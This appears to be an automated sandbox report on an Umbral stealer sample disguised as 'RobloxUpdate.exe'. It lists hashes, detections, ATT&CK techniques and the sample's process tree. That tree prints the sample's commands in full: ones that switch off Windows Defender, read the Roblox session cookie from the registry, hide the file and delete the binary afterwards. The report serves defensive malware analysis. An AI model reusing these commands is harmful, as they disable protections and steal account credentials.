umbral | f68e296a7e54e54985e8748b9b5308dbf92cca51c602fedddeb25759eb88c72a

Analysis

max time kernel
33s
max time network
64s
platform
windows10-2004_x64
resource
win10v2004-20230831-en
resource tags

arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
submitted
11-09-2023 16:53

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General

Target

RobloxUpdate.exe
Size

231KB
MD5

e888706c3bb06f4ca5ee2476c4669a32
SHA1

e8caccdcd618f82a4eae6aca13ed308391f58cde
SHA256

f68e296a7e54e54985e8748b9b5308dbf92cca51c602fedddeb25759eb88c72a
SHA512

1809ce5a99059b107cd15fe9ad82c986b904965460edfaa57d1ca6e542f0d0cf63ee95e26a5473c9f9fd9105f0c97105230ee6e62ff01193ee828f821f7bb79b
SSDEEP

6144:RloZM9rIkd8g+EtXHkv/iD4LzazJ16aB8e1mPi:joZOL+EP8LzazJ9Z

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4148-0-0x0000018A0B820000-0x0000018A0B860000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	RobloxUpdate.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
41	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1544	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3472	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2592	powershell.exe
2592	powershell.exe
2888	powershell.exe
2888	powershell.exe
1708	powershell.exe
1708	powershell.exe
2196	powershell.exe
2196	powershell.exe
4812	powershell.exe
4812	powershell.exe
4812	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4148	RobloxUpdate.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	1708	powershell.exe
Token: SeDebugPrivilege	2196	powershell.exe
Token: SeIncreaseQuotaPrivilege	3748	wmic.exe
Token: SeSecurityPrivilege	3748	wmic.exe
Token: SeTakeOwnershipPrivilege	3748	wmic.exe
Token: SeLoadDriverPrivilege	3748	wmic.exe
Token: SeSystemProfilePrivilege	3748	wmic.exe
Token: SeSystemtimePrivilege	3748	wmic.exe
Token: SeProfSingleProcessPrivilege	3748	wmic.exe
Token: SeIncBasePriorityPrivilege	3748	wmic.exe
Token: SeCreatePagefilePrivilege	3748	wmic.exe
Token: SeBackupPrivilege	3748	wmic.exe
Token: SeRestorePrivilege	3748	wmic.exe
Token: SeShutdownPrivilege	3748	wmic.exe
Token: SeDebugPrivilege	3748	wmic.exe
Token: SeSystemEnvironmentPrivilege	3748	wmic.exe
Token: SeRemoteShutdownPrivilege	3748	wmic.exe
Token: SeUndockPrivilege	3748	wmic.exe
Token: SeManageVolumePrivilege	3748	wmic.exe
Token: 33	3748	wmic.exe
Token: 34	3748	wmic.exe
Token: 35	3748	wmic.exe
Token: 36	3748	wmic.exe
Token: SeIncreaseQuotaPrivilege	3748	wmic.exe
Token: SeSecurityPrivilege	3748	wmic.exe
Token: SeTakeOwnershipPrivilege	3748	wmic.exe
Token: SeLoadDriverPrivilege	3748	wmic.exe
Token: SeSystemProfilePrivilege	3748	wmic.exe
Token: SeSystemtimePrivilege	3748	wmic.exe
Token: SeProfSingleProcessPrivilege	3748	wmic.exe
Token: SeIncBasePriorityPrivilege	3748	wmic.exe
Token: SeCreatePagefilePrivilege	3748	wmic.exe
Token: SeBackupPrivilege	3748	wmic.exe
Token: SeRestorePrivilege	3748	wmic.exe
Token: SeShutdownPrivilege	3748	wmic.exe
Token: SeDebugPrivilege	3748	wmic.exe
Token: SeSystemEnvironmentPrivilege	3748	wmic.exe
Token: SeRemoteShutdownPrivilege	3748	wmic.exe
Token: SeUndockPrivilege	3748	wmic.exe
Token: SeManageVolumePrivilege	3748	wmic.exe
Token: 33	3748	wmic.exe
Token: 34	3748	wmic.exe
Token: 35	3748	wmic.exe
Token: 36	3748	wmic.exe
Token: SeIncreaseQuotaPrivilege	3728	wmic.exe
Token: SeSecurityPrivilege	3728	wmic.exe
Token: SeTakeOwnershipPrivilege	3728	wmic.exe
Token: SeLoadDriverPrivilege	3728	wmic.exe
Token: SeSystemProfilePrivilege	3728	wmic.exe
Token: SeSystemtimePrivilege	3728	wmic.exe
Token: SeProfSingleProcessPrivilege	3728	wmic.exe
Token: SeIncBasePriorityPrivilege	3728	wmic.exe
Token: SeCreatePagefilePrivilege	3728	wmic.exe
Token: SeBackupPrivilege	3728	wmic.exe
Token: SeRestorePrivilege	3728	wmic.exe
Token: SeShutdownPrivilege	3728	wmic.exe
Token: SeDebugPrivilege	3728	wmic.exe
Token: SeSystemEnvironmentPrivilege	3728	wmic.exe
Token: SeRemoteShutdownPrivilege	3728	wmic.exe
Token: SeUndockPrivilege	3728	wmic.exe
Token: SeManageVolumePrivilege	3728	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4148 wrote to memory of 4252	4148	RobloxUpdate.exe	86
PID 4148 wrote to memory of 4252	4148	RobloxUpdate.exe	86
PID 4148 wrote to memory of 2592	4148	RobloxUpdate.exe	88
PID 4148 wrote to memory of 2592	4148	RobloxUpdate.exe	88
PID 4148 wrote to memory of 2888	4148	RobloxUpdate.exe	91
PID 4148 wrote to memory of 2888	4148	RobloxUpdate.exe	91
PID 4148 wrote to memory of 1708	4148	RobloxUpdate.exe	93
PID 4148 wrote to memory of 1708	4148	RobloxUpdate.exe	93
PID 4148 wrote to memory of 2196	4148	RobloxUpdate.exe	96
PID 4148 wrote to memory of 2196	4148	RobloxUpdate.exe	96
PID 4148 wrote to memory of 3748	4148	RobloxUpdate.exe	103
PID 4148 wrote to memory of 3748	4148	RobloxUpdate.exe	103
PID 4148 wrote to memory of 3728	4148	RobloxUpdate.exe	105
PID 4148 wrote to memory of 3728	4148	RobloxUpdate.exe	105
PID 4148 wrote to memory of 524	4148	RobloxUpdate.exe	107
PID 4148 wrote to memory of 524	4148	RobloxUpdate.exe	107
PID 4148 wrote to memory of 4812	4148	RobloxUpdate.exe	109
PID 4148 wrote to memory of 4812	4148	RobloxUpdate.exe	109
PID 4148 wrote to memory of 1544	4148	RobloxUpdate.exe	112
PID 4148 wrote to memory of 1544	4148	RobloxUpdate.exe	112
PID 4148 wrote to memory of 4620	4148	RobloxUpdate.exe	114
PID 4148 wrote to memory of 4620	4148	RobloxUpdate.exe	114
PID 4620 wrote to memory of 3472	4620	cmd.exe	116
PID 4620 wrote to memory of 3472	4620	cmd.exe	116

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4252	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RobloxUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\RobloxUpdate.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4148
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\RobloxUpdate.exe"
  2⤵
  - Views/modifies file attributes
  PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RobloxUpdate.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3748
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4812
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1544
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\RobloxUpdate.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4620
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:3472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
064fe24c998918952d0e8ea95db720f3

SHA1
b5753adb432dcad35873699b6809b3a75ee3fd49

SHA256
1e5b4b40c87d5f249f63ce29be9f4d12a61cdccc5b8392a9e5df641696dd5810

SHA512
f49441dc2c2ce3164b5130ed9ad7f4d73a896c7c5a63e7c72332ac74a6f94ce4fc6d3e94826a981bd30bbba16443f008e1d4f7fea6ecb38f4bab9ef79a714292

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b0a78e60bfb279d18fd3d6e7a67411f5

SHA1
9344fe3654a14bc66afb9dc6ea215fabfbe5c906

SHA256
a28890c82033d3deaf5770ecd1b0239c77321acc93704b1d4b1e167b91e30aeb

SHA512
9548be23bec645cd705482f78d43b63659e38cf879c34f7071f42fd86ee02039379a5e92fbe0f1c74c12aaebabdd8002f57eba111d3e855cbd0c89a110e346f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gwyy2z00.1bg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1708-70-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/1708-60-0x00000130DFDF0000-0x00000130DFE00000-memory.dmp

Filesize
64KB

Download
memory/1708-44-0x00000130DFDF0000-0x00000130DFE00000-memory.dmp

Filesize
64KB

Download
memory/1708-43-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2196-83-0x000001AD25690000-0x000001AD256A0000-memory.dmp

Filesize
64KB

Download
memory/2196-81-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2196-86-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2196-84-0x000001AD25690000-0x000001AD256A0000-memory.dmp

Filesize
64KB

Download
memory/2196-82-0x000001AD25690000-0x000001AD256A0000-memory.dmp

Filesize
64KB

Download
memory/2592-13-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2592-16-0x0000019ACFD80000-0x0000019ACFD90000-memory.dmp

Filesize
64KB

Download
memory/2592-19-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2592-8-0x0000019ACFCA0000-0x0000019ACFCC2000-memory.dmp

Filesize
136KB

Download
memory/2592-14-0x0000019ACFD80000-0x0000019ACFD90000-memory.dmp

Filesize
64KB

Download
memory/2592-15-0x0000019ACFD80000-0x0000019ACFD90000-memory.dmp

Filesize
64KB

Download
memory/2888-37-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/2888-36-0x00000205F5C70000-0x00000205F5C80000-memory.dmp

Filesize
64KB

Download
memory/2888-22-0x00000205F5C70000-0x00000205F5C80000-memory.dmp

Filesize
64KB

Download
memory/2888-23-0x00000205F5C70000-0x00000205F5C80000-memory.dmp

Filesize
64KB

Download
memory/2888-21-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/4148-2-0x0000018A25E00000-0x0000018A25E10000-memory.dmp

Filesize
64KB

Download
memory/4148-88-0x0000018A25DE0000-0x0000018A25DEA000-memory.dmp

Filesize
40KB

Download
memory/4148-40-0x0000018A25F90000-0x0000018A26006000-memory.dmp

Filesize
472KB

Download
memory/4148-35-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/4148-0-0x0000018A0B820000-0x0000018A0B860000-memory.dmp

Filesize
256KB

Download
memory/4148-41-0x0000018A26010000-0x0000018A26060000-memory.dmp

Filesize
320KB

Download
memory/4148-45-0x0000018A25E00000-0x0000018A25E10000-memory.dmp

Filesize
64KB

Download
memory/4148-42-0x0000018A25F10000-0x0000018A25F2E000-memory.dmp

Filesize
120KB

Download
memory/4148-89-0x0000018A25F50000-0x0000018A25F62000-memory.dmp

Filesize
72KB

Download
memory/4148-112-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/4148-1-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-98-0x00000140F8660000-0x00000140F8670000-memory.dmp

Filesize
64KB

Download
memory/4812-99-0x00000140F8660000-0x00000140F8670000-memory.dmp

Filesize
64KB

Download
memory/4812-105-0x00000140F8660000-0x00000140F8670000-memory.dmp

Filesize
64KB

Download
memory/4812-107-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-92-0x00007FFB60190000-0x00007FFB60C51000-memory.dmp

Filesize
10.8MB

Download